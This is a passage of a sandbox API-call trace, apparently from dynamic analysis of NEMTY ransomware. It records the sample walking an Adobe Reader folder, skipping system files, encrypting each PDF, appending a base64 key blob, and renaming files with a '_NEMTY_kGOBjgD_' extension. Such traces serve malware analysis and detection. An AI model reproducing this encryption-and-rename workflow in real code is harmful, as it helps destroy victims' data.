lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.783] Sleep (dwMilliseconds=0x5) [0189.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24c4dcf0, dwHighDateTime=0x1d561e8)) [0189.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24c4dcf0, dwHighDateTime=0x1d561e8)) [0189.790] GetLastError () returned 0xb7 [0189.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.790] GetLastError () returned 0xb7 [0189.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.791] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.791] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.791] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.791] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="QySTGBV+tQT15MmNecs1Y7wEBTs/wj0pC62AWve+69JXeBJXI9xLLf2dW2pUt7Nc\r\ncbJ53YTOsgFbeQTmSMNb0UImkBOcGmzfCGaJVNHz6z83tQbVSbsPw5W5JYnUTluo\r\n15/bY2o2xoM1W0ylJO4IRhU4bolN9uodJd8CaFLWc5tuycoDgqLe3Vw2jr26+9u8\r\nRawbIEFldOb3lxOXT3eI53yTUfFBlTOHNwq5UICgpF/n89YpRFYFQy3spfgw4AS1\r\nPTAheCocPsdPxHz85zzSRsszBe6VOXBt9gcrqXFjWu6HicZbyjRUxNH0YTX9GExl\r\n2skxF8iWtWAbjpy7IpeYFg==\r\n", pcchString=0x653df5c) returned 1 [0189.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.791] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.791] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=123206) returned 1 [0189.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.792] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.792] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.800] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.800] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.800] SetFilePointer (in: hFile=0x320, lDistanceToMove=123206, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e146 [0189.801] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.801] CloseHandle (hObject=0x320) returned 1 [0189.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.801] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0189.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.804] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0189.804] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0189.805] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0189.805] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0189.805] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.805] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0189.805] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0189.805] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0189.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.805] Sleep (dwMilliseconds=0x5) [0189.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24c99fb0, dwHighDateTime=0x1d561e8)) [0189.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24c99fb0, dwHighDateTime=0x1d561e8)) [0189.822] GetLastError () returned 0x0 [0189.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.822] GetLastError () returned 0x0 [0189.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.822] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.822] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.822] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.822] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="qzUtb/Gn4/qjh1p6s8vag6E/6EwK0m3KObwMbsejwa4Nk7pLXf3VJp/0yoSQPDRe\r\n+o8xknCSnPV8v1TFjwBiA4zVnG6a99EvWZQEp8N/FqfRD6KM6Fx7PM+7q3U2h9RE\r\nMfhM/P0f1TOjen9bnZTGpotiKRMmrauEK3xJjrwoRBMRQmsUFtLQ9+0DTIUm60Ot\r\ndWiYPf9cmal5iAn+BWl8hAHmS5zHZilcDZ4fO4OAb7jaojOFa7I+UVsptg18q8NL\r\nNJax5kr7LIgvOogzFTLGR74qOy/EOBtKlc7/lTlPGdpP2ISLRGPVKjx6FSzoypcg\r\nbZK051H3pv0k8I6qhwEjzQ==\r\n", pcchString=0x653df5c) returned 1 [0189.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.823] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.823] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=33013) returned 1 [0189.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80f0) returned 0x6352c48 [0189.823] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.823] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x80f0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x80f0, lpOverlapped=0x0) returned 1 [0189.828] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.828] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x80f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x80f0, lpOverlapped=0x0) returned 1 [0189.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.829] SetFilePointer (in: hFile=0x320, lDistanceToMove=33013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80f5 [0189.829] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.829] CloseHandle (hObject=0x320) returned 1 [0189.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.829] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf._nemty_kgobjgd_")) returned 1 [0189.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.830] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0189.830] lstrcmpiW 